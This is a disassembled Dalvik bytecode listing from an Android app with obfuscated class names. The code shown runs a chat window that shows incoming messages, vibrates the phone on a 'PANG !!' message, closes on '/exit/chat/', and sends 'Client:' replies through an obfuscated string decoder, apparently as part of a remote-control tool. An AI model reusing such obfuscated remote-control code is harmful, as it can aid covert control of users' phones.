    00085920invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
    00085926sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008592ainvoke-static {v0, v1, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00085930move-result-object v5
    00085932invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085938sget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008593cinvoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085942const-string v5, "write"
    00085946invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008594csget-object v5, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00085950invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085956invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008595cinvoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00085962move-result-object v3
    00085964goto :goto_32
    00085966return-void
    000858a0
    00085968
    00085968cmf0.c3b5bm90zq.patch.C6$2::<init>(cmf0.c3b5bm90zq.patch.C6, android.widget.ScrollView):
    00085978iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C6$2;->b:Lcmf0/c3b5bm90zq/patch/C6;
    0008597ciput-object v2, v0, Lcmf0/c3b5bm90zq/patch/C6$2;->a:Landroid/widget/ScrollView;
    00085980invoke-direct {v0}, Ljava/lang/Object;-><init>()V
    00085986return-void
    00085968
    00085988
    00085988cmf0.c3b5bm90zq.patch.C6$2::run():
    00085998iget-object v0, v2, Lcmf0/c3b5bm90zq/patch/C6$2;->a:Landroid/widget/ScrollView;
    0008599cconst/16 v1, 0x82
    000859a0invoke-virtual {v0, v1}, Landroid/widget/ScrollView;->fullScroll(I)Z
    000859a6return-void
    00085988
    000859a8
    000859a8cmf0.c3b5bm90zq.patch.C6$3::<init>(cmf0.c3b5bm90zq.patch.C6):
    000859b8iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
    000859bcinvoke-direct {v0}, Landroid/content/BroadcastReceiver;-><init>()V
    000859c2return-void
    000859a8
    000859c4
    000859c4cmf0.c3b5bm90zq.patch.C6$3::onReceive(android.content.Context, android.content.Intent):
    000859d4invoke-virtual {v9}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    000859damove-result-object v8
    000859dcsget-object v0, Lcmf0/c3b5bm90zq/patch/C6;->b:Ljava/lang/String;
    000859e0invoke-virtual {v8, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    000859e6move-result v8
    000859e8if-eqz v8, :cond_fb
    000859ecsget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000859f0const-wide/16 v2, 0x5c
    000859f4invoke-static {v0, v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000859famove-result-object v8
    000859fcinvoke-virtual {v9, v8}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
    00085a02move-result-object v8
    00085a04new-instance v9, Landroid/text/SpannableString;
    00085a08new-instance v0, Ljava/lang/StringBuilder;
    00085a0cinvoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    00085a12sget-object v1, Lcmf0/c3b5bm90zq/patch/C6;->a:Ljava/lang/String;
    00085a16invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085a1cconst-string v1, ": "
    00085a20invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085a26invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00085a2cmove-result-object v0
    00085a2einvoke-direct {v9, v0}, Landroid/text/SpannableString;-><init>(Ljava/lang/CharSequence;)V
    00085a34new-instance v0, Landroid/text/style/ForegroundColorSpan;
    00085a38const/16 v1, 0xfc
    00085a3cconst/16 v2, 0xc8
    00085a40const/16 v3, 0x86
    00085a44const/16 v4, 0xff
    00085a48invoke-static {v4, v1, v2, v3}, Landroid/graphics/Color;->argb(IIII)I
    00085a4emove-result v1
    00085a50invoke-direct {v0, v1}, Landroid/text/style/ForegroundColorSpan;-><init>(I)V
    00085a56invoke-interface {v9}, Landroid/text/Spannable;->length()I
    00085a5cmove-result v1
    00085a5econst/16 v2, 0x21
    00085a62const/4 v3, 0x0
    00085a64invoke-interface {v9, v0, v3, v1, v2}, Landroid/text/Spannable;->setSpan(Ljava/lang/Object;III)V
    00085a6aiget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
    00085a6einvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;)Landroid/widget/TextView;
    00085a74move-result-object v0
    00085a76invoke-virtual {v0, v9}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
    00085a7cconst-string v9, "PANG !!"
    00085a80invoke-virtual {v8, v9}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
    00085a86move-result v9
    00085a88if-eqz v9, :cond_89
    00085a8cconst-string v9, "!!"
    00085a90invoke-virtual {v8, v9}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
    00085a96move-result v9
    00085a98if-eqz v9, :cond_89
    00085a9cnew-instance v9, Landroid/text/SpannableString;
    00085aa0invoke-direct {v9, v8}, Landroid/text/SpannableString;-><init>(Ljava/lang/CharSequence;)V
    00085aa6new-instance v0, Landroid/text/style/ForegroundColorSpan;
    00085aaaconst/16 v1, 0xf9
    00085aaeconst/16 v5, 0xf
    00085ab2const/16 v6, 0x9
    00085ab6invoke-static {v4, v1, v5, v6}, Landroid/graphics/Color;->argb(IIII)I
    00085abcmove-result v1
    00085abeinvoke-direct {v0, v1}, Landroid/text/style/ForegroundColorSpan;-><init>(I)V
    00085ac4invoke-interface {v9}, Landroid/text/Spannable;->length()I
    00085acamove-result v1
    00085accinvoke-interface {v9, v0, v3, v1, v2}, Landroid/text/Spannable;->setSpan(Ljava/lang/Object;III)V
    00085ad2iget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
    00085ad6invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;)Landroid/widget/TextView;
    00085adcmove-result-object v0
    00085adeinvoke-virtual {v0, v9}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
    00085ae4goto :goto_92
    00085ae6iget-object v9, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
    00085aeainvoke-static {v9}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;)Landroid/widget/TextView;
    00085af0move-result-object v9
    00085af2invoke-virtual {v9, v8}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
    00085af8iget-object v9, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
    00085afcinvoke-static {v9}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;)Landroid/widget/TextView;
    00085b02move-result-object v9
    00085b04const-string v0, "\n"
    00085b08invoke-virtual {v9, v0}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
    00085b0eiget-object v9, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
    00085b12invoke-static {v9}, Lcmf0/c3b5bm90zq/patch/C6;->b(Lcmf0/c3b5bm90zq/patch/C6;)V
    00085b18const-string v9, "/exit/chat/"
    00085b1cinvoke-virtual {v8, v9}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
    00085b22move-result v9
    00085b24if-eqz v9, :cond_c6
    00085b28iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
    00085b2cconst/4 v9, 0x1
    00085b2einvoke-static {v8, v9}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;Z)Z
    00085b34iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
    00085b38invoke-static {v8}, Lcmf0/c3b5bm90zq/patch/C6;->a(Lcmf0/c3b5bm90zq/patch/C6;)Landroid/widget/TextView;
    00085b3emove-result-object v8
    00085b40const-string v9, ""
    00085b44invoke-virtual {v8, v9}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
    00085b4aiget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
    00085b4einvoke-virtual {v8}, Lcmf0/c3b5bm90zq/patch/C6;->finish()V
    00085b54iget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
    00085b58invoke-virtual {v8}, Lcmf0/c3b5bm90zq/patch/C6;->onBackPressed()V
    00085b5egoto :goto_fb
    00085b60const-string v9, "PANG !!"
    00085b64invoke-virtual {v8, v9}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
    00085b6amove-result v9
    00085b6cif-eqz v9, :cond_fb
    00085b70const-string v9, "!!"
    00085b74invoke-virtual {v8, v9}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
    00085b7amove-result v8
    00085b7cif-eqz v8, :cond_fb
    00085b80sget v8, Landroid/os/Build$VERSION;->SDK_INT:I
    00085b84const/16 v9, 0xb
    00085b88if-lt v8, v9, :cond_fb
    00085b8ciget-object v8, v7, Lcmf0/c3b5bm90zq/patch/C6$3;->a:Lcmf0/c3b5bm90zq/patch/C6;
    00085b90invoke-virtual {v8}, Lcmf0/c3b5bm90zq/patch/C6;->getApplicationContext()Landroid/content/Context;
    00085b96move-result-object v8
    00085b98const-string v9, "vibrator"
    00085b9cinvoke-virtual {v8, v9}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00085ba2move-result-object v8
    00085ba4check-cast v8, Landroid/os/Vibrator;
    00085ba8invoke-virtual {v8}, Landroid/os/Vibrator;->hasVibrator()Z
    00085baemove-result v9
    00085bb0if-eqz v9, :cond_fb
    00085bb4const/16 v9, 0xc
    00085bb8new-array v9, v9, [J
    00085bbcfill-array-data v9, :array_fc
    00085bc2const/4 v0, -0x1
    00085bc4invoke-virtual {v8, v9, v0}, Landroid/os/Vibrator;->vibrate([JI)V
    00085bcareturn-void
    00085bcc.array-data 8
    000859c4
    00085c34
    00085c34cmf0.c3b5bm90zq.patch.C6::<clinit>():
    00085c44return-void
    00085c34
    00085c46
    00085c46 // align 0x8
    00085c48
    00085c48cmf0.c3b5bm90zq.patch.C6::<init>():
    00085c58invoke-direct {v1}, Landroid/app/Activity;-><init>()V
    00085c5enew-instance v0, Lcmf0/c3b5bm90zq/patch/C6$3;
    00085c62invoke-direct {v0, v1}, Lcmf0/c3b5bm90zq/patch/C6$3;-><init>(Lcmf0/c3b5bm90zq/patch/C6;)V
    00085c68iput-object v0, v1, Lcmf0/c3b5bm90zq/patch/C6;->h:Landroid/content/BroadcastReceiver;
    00085c6cconst/4 v0, 0x0
    00085c6eiput-boolean v0, v1, Lcmf0/c3b5bm90zq/patch/C6;->i:Z
    00085c72return-void
    00085c48
    00085c74
    00085c74cmf0.c3b5bm90zq.patch.C6::a(cmf0.c3b5bm90zq.patch.C6):
    00085c84iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
    00085c88return-object v0
    00085c74
    00085c8a
    00085c8a // align 0x4
    00085c8c
    00085c8ccmf0.c3b5bm90zq.patch.C6::a():
    00085c9cconst v0, 0x7f07004c
    00085ca2invoke-virtual {v2, v0}, Lcmf0/c3b5bm90zq/patch/C6;->findViewById(I)Landroid/view/View;
    00085ca8move-result-object v0
    00085caacheck-cast v0, Landroid/widget/ScrollView;
    00085caenew-instance v1, Lcmf0/c3b5bm90zq/patch/C6$2;
    00085cb2invoke-direct {v1, v2, v0}, Lcmf0/c3b5bm90zq/patch/C6$2;-><init>(Lcmf0/c3b5bm90zq/patch/C6;Landroid/widget/ScrollView;)V
    00085cb8invoke-virtual {v0, v1}, Landroid/widget/ScrollView;->post(Ljava/lang/Runnable;)Z
    00085cbereturn-void
    00085c8c
    00085cc0
    00085cc0cmf0.c3b5bm90zq.patch.C6::a(cmf0.c3b5bm90zq.patch.C6, boolean):
    00085cd0iput-boolean v1, v0, Lcmf0/c3b5bm90zq/patch/C6;->i:Z
    00085cd4return v1
    00085cc0
    00085cd6
    00085cd6 // align 0x8
    00085cd8
    00085cd8cmf0.c3b5bm90zq.patch.C6::b(cmf0.c3b5bm90zq.patch.C6):
    00085ce8invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C6;->a()V
    00085ceereturn-void
    00085cd8
    00085cf0
    00085cf0cmf0.c3b5bm90zq.patch.C6::add(android.view.View):
    00085d00iget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
    00085d04invoke-virtual {v7}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
    00085d0amove-result-object v7
    00085d0cinvoke-virtual {v7}, Ljava/lang/Object;->toString()Ljava/lang/String;
    00085d12move-result-object v7
    00085d14invoke-virtual {v7}, Ljava/lang/String;->trim()Ljava/lang/String;
    00085d1amove-result-object v0
    00085d1cconst-string v1, ""
    00085d20invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00085d26move-result v0
    00085d28if-eqz v0, :cond_17
    00085d2creturn-void
    00085d2enew-instance v0, Ljava/lang/StringBuilder;
    00085d32invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    00085d38sget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00085d3cconst-wide/16 v3, 0x4f
    00085d40invoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00085d46move-result-object v1
    00085d48invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085d4esget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00085d52invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085d58const-string v1, "Client:"
    00085d5cinvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085d62sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00085d66invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085d6cinvoke-virtual {v0, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085d72invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00085d78move-result-object v0
    00085d7ainvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00085d80const-string v0, "Me: "
    00085d84new-instance v1, Landroid/text/SpannableString;
    00085d88invoke-direct {v1, v0}, Landroid/text/SpannableString;-><init>(Ljava/lang/CharSequence;)V
    00085d8enew-instance v0, Landroid/text/style/ForegroundColorSpan;
    00085d92const/16 v2, 0xff
    00085d96const/4 v3, 0x1
    00085d98const/16 v4, 0xae
    00085d9cconst/16 v5, 0xf0
    00085da0invoke-static {v2, v3, v4, v5}, Landroid/graphics/Color;->argb(IIII)I
    00085da6move-result v2
    00085da8invoke-direct {v0, v2}, Landroid/text/style/ForegroundColorSpan;-><init>(I)V
    00085daeconst/4 v2, 0x0
    00085db0invoke-interface {v1}, Landroid/text/Spannable;->length()I
    00085db6move-result v3
    00085db8const/16 v4, 0x21
    00085dbcinvoke-interface {v1, v0, v2, v3, v4}, Landroid/text/Spannable;->setSpan(Ljava/lang/Object;III)V
    00085dc2iget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
    00085dc6invoke-virtual {v0, v1}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
    00085dcciget-object v0, v6, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
    00085dd0invoke-virtual {v0, v7}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
    00085dd6iget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C6;->f:Landroid/widget/TextView;
    00085ddaconst-string v0, "\n"
    00085ddeinvoke-virtual {v7, v0}, Landroid/widget/TextView;->append(Ljava/lang/CharSequence;)V
    00085de4invoke-direct {v6}, Lcmf0/c3b5bm90zq/patch/C6;->a()V
    00085deaiget-object v7, v6, Lcmf0/c3b5bm90zq/patch/C6;->d:Landroid/widget/EditText;
    00085deeconst-string v0, ""
    00085df2invoke-virtual {v7, v0}, Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
    00085df8return-void
    00085cf0